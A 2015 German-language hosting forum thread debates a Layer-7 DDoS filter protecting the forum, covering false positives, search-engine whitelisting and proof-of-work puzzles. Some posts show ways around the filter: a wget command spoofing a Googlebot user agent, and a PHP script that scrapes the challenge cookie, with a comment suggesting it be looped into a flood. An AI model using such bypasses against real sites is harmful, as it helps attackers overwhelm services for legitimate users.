DDoS aufs SSF?

PHP-Friends said:
- Im akuten DDoS-Fall - ohne vorher getroffene Gegenma�nahmen - geht es immer zun�chst darum, m�glichst viel Angriffstraffic wegzufiltern und somit die allgemeine Stabilit�t wiederherzustellen. In diesem Moment geht es definitiv nicht darum, 100% der legitimen Besucher durchzulassen. Die Feinabstimmung kann man danach angehen, und wenn derweil eine Handvoll User eingeschr�nkt sind, ist das nun mal besser als eine generelle Downtime. Wenn das Forum offline ist, beschwert ihr euch dann auch, dass ihr es nicht besuchen k�nnt?
Click to expand...

Das sehe ich ebenfalls so, leider geht es ein paar Personen nur darum zu meckern, obwohl sie selbige L�sungen vermutlich nicht mal in ann�hernder Zeit kostenfrei (!) zur Verf�gung gestellt h�tten.

PHP-Friends said:
- Hier sind wir im Grunde wieder beim ersten Punkt: Die jetzige L�sung ist ein allgemeiner Schutz ohne jegliche Anpassung auf den "Kunden" (das SSF). Perfektion kann hier niemand erwarten, und diese lassen sich Anbieter von DDoS-Protection wohlgemerkt teuer bezahlen. Hier werden spezialisierte Mitigation-Templates f�r das zu sch�tzende Ziel erstellt.
Click to expand...

So handhaben wir das auch bei anderen Instanzen, welche weitaus komplexeren DDoS abbekommen und somit individuell an die Gegebenheiten angepasst werden m�ssen :)

PHP-Friends said:
Im �brigen muss auch eine teure L�sung st�ndig nachtrainiert werden. Sie wird dennoch immer - in einem zu vernachl�ssigenden Rahmen - sowohl legitimen Traffic verwerfen (sp�testens w�hrend einer Attacke, siehe Screenreader-Problematik bei CloudFlare) als auch Angriffstraffic durchlassen. Wer 100% perfekte Filterung f�r realistisch h�lt, glaubt vermutlich auch an 100% Verf�gbarkeit bei Clustersystemen und/oder den Osterhasen. Vor allem aber hat er keine Ahnung von DDoS-Protection, sondern nur eine theoretische Sicht auf das Ganze ohne Praxiserfahrung mit Angriffen. Die Wahrheit ist nun mal, dass man damit leben muss. Das gilt insbesondere bei einem 0815-Schutz ohne jegliche Anpassung.
Click to expand...

100% Filterung gibt es nicht, genauso wenig wie gar keine false positives. Leider reiten hierbei diverse Parteien nur weiter darauf rum, dass sie diverse Implementationen des HTTP Protokolls nicht nutzen k�nnen, welche f�r den Besuch der Seite ohnehin keine Rolle spielen.

PHP-Friends said:
- Selbiges gilt auch f�r die "andere Seite" und somit Fusls Einwand, der Angreifer k�nnte die aktuelle L�sung bypassen. Nat�rlich kann er das. Wer es mit sehr guten Angreifern zu tun hat, die st�ndig ihre Attacken verbessern, wird ab und an auch erfolgreich angegriffen werden. Wie ich schon sagte, muss so etwas immer nachtrainiert und an aktuelle Gegebenheiten angepasst werden.
Click to expand...

Es gibt noch weit mehr M�glichkeiten Cookie Validierung zu bypassen, darunter ganz einfach reale Clients, welche infiziert sind und den Request direkt aus dem Browser heraus erzeugen. Dabei hilft lediglich nur noch Captcha Validierung. Es kann mir keiner erz�hlen, ein anderer Dienstleister w�rde selbiges ohne entsprechende Ma�nahmen bew�ltigen k�nnen.

PHP-Friends said:
virtual2 war es �brigens auch, der unsere DDoS-Protection bei First Colo (Arbor Peakflow) - mit unserer Erlaubnis auf einem neuen / leeren System - im ersten Versuch "ausgetrickst" hat, sodass die Techniker nachregeln mussten, weil der Angriff ungefiltert durchgeschlagen ist. Wer von euch w�rde First Colo und somit einem der deutschen Marktf�hrer - mit dem wir �brigens sehr zufrieden sind, schlichtweg weil wir wissen, dass auch teure L�sungen angepasst werden m�ssen - fehlendes Know-how vorwerfen, weil der Angriff nicht mitigiert wurde?
Click to expand...

Genauso ist es leider auch mit den Personen welche an den Osterhasen oder die 100% Verf�gbarkeit bei Clustersystemen glauben. Entsprechende "Personengruppen" mitigieren aber auch Layer7 DDoS mit einem 50� Rootserver und Apache Rewrite Conditions :D
 
Interessehalber sei von mir die Frage gestattet:
Wie gehen diese Filter eigentlich so mit Suchmaschinen um?
Oder werden da für bestimmte IP-Ranges einfach Ausnahmen gemacht?
 
Lord Gurke said:
Interessehalber sei von mir die Frage gestattet:
Wie gehen diese Filter eigentlich so mit Suchmaschinen um?
Oder werden da für bestimmte IP-Ranges einfach Ausnahmen gemacht?
Click to expand...

Whitelisten ist da die einfachste Möglichkeit. Wir machen das dann z.B. zusätzlich auch so, dass die IP-Ranges die nur Suchmaschinen sind, gecachte Inhalte erhalten, jenachdem wie die Seite gerade ausgelastet ist und wie schnell sie eigentlich auf normale Anfragen reagiert.

Ich vermute, virtual2 wird hier etwas ähnliches (aber vermutlich ohne Redirect auf einen Cache) machen.
 
Whitelisten ist da die einfachste Möglichkeit. Wir machen das dann z.B. zusätzlich auch so, dass die IP-Ranges die nur Suchmaschinen sind, gecachte Inhalte erhalten
Click to expand...
Virtual2 war wohl eher faul :D
Joe User sollte seinem Lynx mal den Useragent eines Googlesbots füttern, damit kommt man nämlich durch.

Code: 
wget -c --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" -O - -S http://www.serversupportforum.de/

So viel man virtual2's Einsatz und Unterstützung loben muss, aber hier hast du definitiv geschlampt =)
 
Joe User said:
Seitdem ich hier offen gegen den "DDoS-Mitigation"-Service von Joseph argumentiere, steht mein Serverchen ebenfalls "unter Beschuss" ;)
Click to expand...

Ohne "DDoS-Mitigation"-Service oder andere Eingriffe locker weggesteckt und es waren mehrere k/s Zugriffe.
Es geht halt auch mit vernünftigem OS und sinnvoller Konfiguration...
 
Ich hätte mal eine Frage als Laie:

200 Requests pro Sekunde klingen, zumindest in meinen Ohren, jetzt zwar mehr wie normal, aber nicht wirklich viel. Dachte sowas fängt, gerade bei schonmal generierten PHP-seiten, der Cache ab?
Wäre super wenn jemand von euch mir sagen könnte, wo mein denkfehler ist :)

Gruß,

iffi
 
200 Requests pro Sekunde klingen, zumindest in meinen Ohren, jetzt zwar mehr wie normal, aber nicht wirklich viel.
Click to expand...
Das ist für die meisten Seiten so das Limit des Möglichen und hängt stark von der Serverkonfiguration ab. Bei 200req/s bist du bei einer vermuteten Ladezeit von 0.1 Sekunden bei 20 gleichzeitigen Anfragen was einen handelsüblichen Apache und Datenbankserver etwas unwohl macht.

Hier gilt auch natürlich dass die Ladezeiten ab Sättigung/Flaschenhals nicht linear sondern exponentiell steigen. Sobald der Server einen kurzen Schluckauf hat, lädt sich seine Queue fix voll und legitime Benutzer müssen entweder ewig warten oder werden abgewiesen. Kombiniert man dies noch mit anderen Angriffsmuster gegen welche die meisten Apache MPM anfällig sind, bspw Slowloris, hat man eine für viele Server tötliche Kombination.

Natürlich hängt es auch von der dahinterlaufenden Applikation aus. Bspw ein Applicationserver auf Basis von NodeJS mit einer NoSQL-Datenbank würde die gleiche Seite um einige Größeneinheiten schneller an mehr Clients ausliefern können. Aus diversen Gründen ist das aber im "normalen" Webbereich nicht etabliert.

Dachte sowas fängt, gerade bei schonmal generierten PHP-seiten, der Cache ab?
Click to expand...
Das ist eher Wunschtraum. Opcode Cache, Mysql Cache und Linux Cache helfen zwar viel aber sind kein Allheilmittel. Zumal ein halbwegs veriserter Angreifer den Cache umgeht indem er bspw das Forum crawled, also ständig neue Informationen anfordert.

Allgemein: nach Jahren von akuten und chronischen DDoS-Angriffen auf Hosting-Infrastruktur kann ich nur eins sagen; wenn der Angreifer sich durch die Abwehr herausgefordert fühlt wird er Stärke, Länge und Art variieren bis der Server in die Knie geht. Nur eine Kombination aus "intelligenter" Anomalie-Erkennung und RZ-seitigem DDoS-Filter kann das auf Dauer eindämmen aber auch nicht endgültig lösen.

PS: Mein Edit wurde soeben vom DDoS-Filter blockiert. Ich bin zwar nicht der Schnellste im Tippen aber hier muss wohl noch etwas gefeilt werden ;)
 
Last edited by a moderator:
d4f said:
Virtual2 war wohl eher faul :D
Joe User sollte seinem Lynx mal den Useragent eines Googlesbots füttern, damit kommt man nämlich durch.

Code: 
wget -c --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" -O - -S http://www.serversupportforum.de/

So viel man virtual2's Einsatz und Unterstützung loben muss, aber hier hast du definitiv geschlampt =)
Click to expand...

Code: 
wget -c --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" -O - -S [url]http://www.serversupportforum.de/[/url]
--2015-09-25 13:00:53--  [url]http://www.serversupportforum.de/[/url]
Resolving [url]www.serversupportforum.de[/url] ([url]www.serversupportforum.de[/url])... 5.1.74.67
Connecting to [url]www.serversupportforum.de[/url] ([url]www.serversupportforum.de)|5.1.74.67|:80[/url]... connected.
HTTP request sent, awaiting response...
  HTTP/1.1 200 OK
  Server: nginx
  Date: Fri, 25 Sep 2015 11:00:53 GMT
  Content-Type: text/html; charset=ISO-8859-1
  Transfer-Encoding: chunked
  Connection: keep-alive
  Expires: Thu, 01 Jan 1970 00:00:01 GMT
  Cache-Control: no-cache
Length: unspecified [text/html]
Saving to: `STDOUT'

    [<=>                                    ] 0           --.-K/s              <html>
<body onload="challenge();">
<center><h1 style="font-size:18px; font-family:Arial">Layer7 DDoS-Protection</h1><br/>
<div style="font-family:Arial; font-size:12px"><img src="/ajaxloader.gif" style="width:80px; height:80px" /><br/><br/><br/>
<b>Checking your humanity</b><br/>
<br/>Please activate javascript, if site failes to load</div></center>
<script>
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1 6(){2.3=\'4=5; 0-7=8; 9=/\';a.b.c()}',13,13,'max|function|document|cookie|layer7-ddos-protection|159e846897318276baa9f242b3b7f21e3d850460|challenge|age|1800|path|window|location|reload'.split('|'),0,{}))
</script>
</body>
<meta http-equiv="refresh" content="3">
</html>
    [ <=>                                   ] 895         --.-K/s   in 0s

2015-09-25 13:00:53 (49.6 MB/s) - written to stdout [895]
 
@virtual2:

Kleiner Tipp: Anstatt den validation Hash Cookie (in dem Fall nenne ich das mal layer7-ddos-protection) alle 60 Minuten zu ändern und die User somit immer wieder auf die UAT Seite auflaufen zu lassen könntest du es eigentlich so machen:

Beim Besuchen der UAT Seite das im Moment valide Cookie für layer7-ddos-protection setzen, valid für 24 Stunden.
Alle 60 Minuten einen neue layer7-ddos-protection ID generieren lassen, jeder ist für 24 Stunden gültig und wird auch für 24 Stunden lang von der DDoS Protection akzeptiert.

Wenn der User dann mit einem Cookie, das nicht mehr aktuell ist *aber* noch valid ist (innerhalb der 24 Stunden Zeit), die Website besucht, lass nicht wieder die UAT Page einblenden, sondern setze den Cookie mittels "Set-Cookie" im Header. Damit erlaubst du dem Browser einen transparenten Übergang auf die neue, für 24 Stunden gültige, layer7-ddos-protection ID ohne dass der User irgendwas merkt.
 
Bei Unitymedia bekommen die Neukunden alle IPv6 und ein IPv4 NAT.

OT: Kennt jemand Peter North :eek:
 
DeaD_EyE said:
Bei Unitymedia bekommen die Neukunden alle IPv6 und ein IPv4 NAT.

OT: Kennt jemand Peter North :eek:
Click to expand...
Jedenfalls nicht den, der mit der Uni Cambridge zu tun hat :p

Also / macht hier regelmäßig Probleme bei mir
 

Attachments

  • ssfdodsroot.jpg
    ssfdodsroot.jpg
    71.5 KB · Views: 256
Last edited by a moderator:
@virtual2: Challenge accepted. :D
Scherz beiseite - der Javascript sollte client-puzzles beinhalten und nicht das echte Cookie in schlecht obfuskierter Form. Etwas Lektüre dazu die dir evtl bereits bekannt ist: http://www.hashcash.org/papers/client-puzzles.pdf

Und hier das obligatorische Umgehen der aktuellen Form:
Code: 
<?
$url  = "http://serversupportforum.de/";
$ddos = file_get_contents($url);
$check = preg_match('/layer7-ddos-protection\|(?<cookie>.+?)\|/',$ddos,$matches);
if($check)
        echo "Got cookie ".$matches["cookie"].PHP_EOL;
else
        die("Did not find cookie!");
$opts = array("http"=>array("method"=>"GET","header"=>"Cookie: layer7-ddos-protection=".$matches["cookie"]."\r\n"));
$context = stream_context_create($opts);
//Hier einfach ne While-Loop =)
echo file_get_contents($url,false,$context);
 
d4f said:
@virtual2: Challenge accepted. :D
Und hier das obligatorische Umgehen der aktuellen Form:
Code: 
<?
$url  = "http://serversupportforum.de/";
$ddos = file_get_contents($url);
$check = preg_match('/layer7-ddos-protection\|(?<cookie>.+?)\|/',$ddos,$matches);
if($check)
        echo "Got cookie ".$matches["cookie"].PHP_EOL;
else
        die("Did not find cookie!");
$opts = array("http"=>array("method"=>"GET","header"=>"Cookie: layer7-ddos-protection=".$matches["cookie"]."\r\n"));
$context = stream_context_create($opts);
//Hier einfach ne While-Loop =)
echo file_get_contents($url,false,$context);
Click to expand...

Wie bereits gesagt, es gibt mehrere Methoden der Mitigation - diese aktivieren sich bei Bedarf automatisch, ein Umgehen der Schutzmaßnahmen mag vlt. für ein paar Sekunden funktionieren, danach ist jedoch Schluss - ohne das wir manuell eingreifen.

Insofern bringt dir auch der Flood von einem Client nichts, da hierfür dynamische Filter auf Anwendungsebene und Netzwerkebene deployed werden :)

Ungefähr so handhaben wir es auch mit DDoS Attacken, welche den Netzwerkschutz (Layer3/4) umgehen, es werden statt der üblichen Filter dynamische hinzu deployed. Im Sinne von Netzwerkschutz sind es einfach Flows welche accounted werden und bei erkennen von Annomalien unsere Filter gewisse Pakettypen / Längen / Protokolle usw. ausfiltern. Seitdem sind UDP Floods für uns auch kein so ein großes Thema mehr.

Wir haben uns dahingehend gewisse Gedanken gemacht - dass es immer irgendwo Lücken und Möglichkeiten gibt, welche sich augenscheinlich (!) ausnutzen lassen, möchte ich gar nicht anzweifeln. Siehe Beispiel zu First-Colo, wobei es relativ leicht war eine ziemlich teure Arbor Appliance zu bypassen. Wie und womit werde ich hier nicht kund tun, ansonsten nutzen das demnächst irgendwelche Kiddies für ihre Kleinkriege aus.

Möglichkeiten der Optimierung gibt es überall, diese bestehen sicherlich auch bei unserem Layer7 Filter und dessen "Verhalten". Die konstruktiven und vor allem sinnvollen Vorschläge welche von euch zugetragen wurden, lasse ich gerne einfließen, dafür sind sie schließlich da ;)
 
Wie bereits gesagt, es gibt mehrere Methoden der Mitigation - diese aktivieren sich bei Bedarf automatisch, ein Umgehen der Schutzmaßnahmen mag vlt. für ein paar Sekunden funktionieren, danach ist jedoch Schluss - ohne das wir manuell eingreifen.
Click to expand...
Hier ging es mir ausschließlich um den viel kritisierten Javascript Code welcher Zugriffe auf legitime Clients reduzieren soll und leicht ausnutzbare Lücken aufweist. Dass es weitere Filter gibt will ich ja wohl hoffen :D Testen kann und will ich sie aber aufgrund der Strafbarkeit eines Angriffes nicht.


Ungefähr so handhaben wir es auch mit DDoS Attacken, welche den Netzwerkschutz (Layer3/4) umgehen, es werden statt der üblichen Filter dynamische hinzu deployed. Im Sinne von Netzwerkschutz sind es einfach Flows welche accounted werden und bei erkennen von Annomalien unsere Filter gewisse Pakettypen / Längen / Protokolle usw. ausfiltern. Seitdem sind UDP Floods für uns auch kein so ein großes Thema mehr.
Click to expand...
Also von der Beschreibung quasi sehr ähnlich der Funktionalität von OVH's mehrstufigen Filtersystemen. Soweit ist das ja auch durchaus sinnvoll solange man nicht a la OVH bei DNS-Reflection auch direkt den eigentlichen Nameserver mit blockiert.

Siehe Beispiel zu First-Colo, wobei es relativ leicht war eine ziemlich teure Arbor Appliance zu bypassen.
Click to expand...
Hierzu müsste man erwähnen dass die erwähnte Arbor für das geschützte Vlan nur im Basis-Modus mit fest definierten Filterregeln lief, nicht aber im effektiveren dynamischen Modus.

Wie und womit werde ich hier nicht kund tun, ansonsten nutzen das demnächst irgendwelche Kiddies für ihre Kleinkriege aus
Click to expand...
Wenn ein Standardtool(!) der meisten Linux Distros es hinkriegt sollte man es schon hinschreiben, weil es einfach nur peinlich ist. :D


Ein großes Problem bei clientseitigen Beweisen der Rechenleistung ist aktuell - wieviel Leistung darf man fragen? Der Check erfolgt ja nur einmal oder sehr selten. Allerdings stellt das gleiche "Cracken" eines SHA256 Hashes welches mein Testsystem verteilt für aktuelle Chrome auf einem normalen Rechner keinerlei Hindernis dar, für das ältere Smartphone meiner Frau Mutter aber zB ein fast unüberwindliches Hindernis. Da Botnetze nur wenige Requests senden wäre also der Aufwand für jeden Bot mehr als nur akzeptabel wähend mobile Besucher über ewige Wartezeiten fluchen.
 
d4f said:
Also von der Beschreibung quasi sehr ähnlich der Funktionalität von OVH's mehrstufigen Filtersystemen. Soweit ist das ja auch durchaus sinnvoll solange man nicht a la OVH bei DNS-Reflection auch direkt den eigentlichen Nameserver mit blockiert.

Wenn ein Standardtool(!) der meisten Linux Distros es hinkriegt sollte man es schon hinschreiben, weil es einfach nur peinlich ist. :D
Click to expand...

Dito :)

d4f said:
Ein großes Problem bei clientseitigen Beweisen der Rechenleistung ist aktuell - wieviel Leistung darf man fragen? Der Check erfolgt ja nur einmal oder sehr selten. Allerdings stellt das gleiche "Cracken" eines SHA256 Hashes welches mein Testsystem verteilt für aktuelle Chrome auf einem normalen Rechner keinerlei Hindernis dar, für das ältere Smartphone meiner Frau Mutter aber zB ein fast unüberwindliches Hindernis. Da Botnetze nur wenige Requests senden wäre also der Aufwand für jeden Bot mehr als nur akzeptabel wähend mobile Besucher über ewige Wartezeiten fluchen.
Click to expand...

Mit Smartphones gibt es dahingehend keine Problem, es ist ja nicht so das wir die Lösung nur für das SSF einsetzen, sondern eben auch für anderen Instanzen ;)
 
Mit Smartphones gibt es dahingehend keine Problem, es ist ja nicht so das wir die Lösung nur für das SSF einsetzen, sondern eben auch für anderen Instanzen
Click to expand...
Du hast mich leider missverstanden. Ich experimentiere mit einer Lösung wo der Client nicht nur Verständnis von Javascript präsentieren muss sondern auch eine Art Puzzle lösen muss um zu zeigen dass er bereit ist Rechenleistung zu opfern. Ein gutes Puzzle bspw ist dem Client ein SHA2 zu geben sowie einen Suchraum in welchem die Lösung ist. Dann muss er durch Ausprobieren den Key finden und als Beweis an den Server senden.
Vorteilhaft ist dass man die Komplexität bei verdächtigen Besucher anheben kann. Nachteil ist dass die meisten Angreifer ausreichend Leistung haben während einige legitime Besucher nur kleine ARM-Prozessoren.

Dass ein kleines Script welches eigentlich über verworrenen Weg ein mitgeliefertes Cookie in den Browser füttert auf Mobiltelefonen läuft ist klar :rolleyes:
 
Sowas wie Hurricane Electric hat:

Code: 
<div id='error' class='tabdata'>
Please wait while we validate your browser.
</div>
<script type='text/javascript'>
var _0x8ee0=["\x62\x67\x70\x2E\x68\x65\x2E\x6E\x65\x74\x20\x72\x65\x71\x75\x69\x72\x65\x73\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x61\x6E\x64\x20\x63\x6F\x6F\x6B\x69\x65\x73\x20\x74\x6F\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x2E\x20\x20\x50\x6C\x65\x61\x73\x65\x20\x65\x6E\x61\x62\x6C\x65\x20\x74\x68\x65\x73\x65\x20\x69\x6E\x20\x79\x6F\x75\x72\x20\x62\x72\x6F\x77\x73\x65\x72\x2E","\x74\x65\x78\x74","\x23\x65\x72\x72\x6F\x72","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x73\x70\x6F\x6E\x73\x65","\x70\x61\x74\x68","\x63\x6F\x6F\x6B\x69\x65","\x6A\x73\x74\x65\x73\x74","\x70\x6F\x73\x74","\x61\x6A\x61\x78"];function printerror(){$(_0x8ee0[2])[_0x8ee0[1]](_0x8ee0[0])}function doredirect(_0xc80ax3){window[_0x8ee0[3]]='/cr'}$(function(){$[_0x8ee0[9]]({url:'/i',dataType:_0x8ee0[1],complete:function(_0xc80ax3){ip=_0xc80ax3[_0x8ee0[4]];$[_0x8ee0[9]]({url:'/jc',data:{p:$[_0x8ee0[7]]($[_0x8ee0[6]](_0x8ee0[5])),i:$[_0x8ee0[7]](ip)},type:_0x8ee0[8],error:printerror,complete:doredirect});},error:printerror})});
</script>
 
You must log in or register to reply here.
Back
Top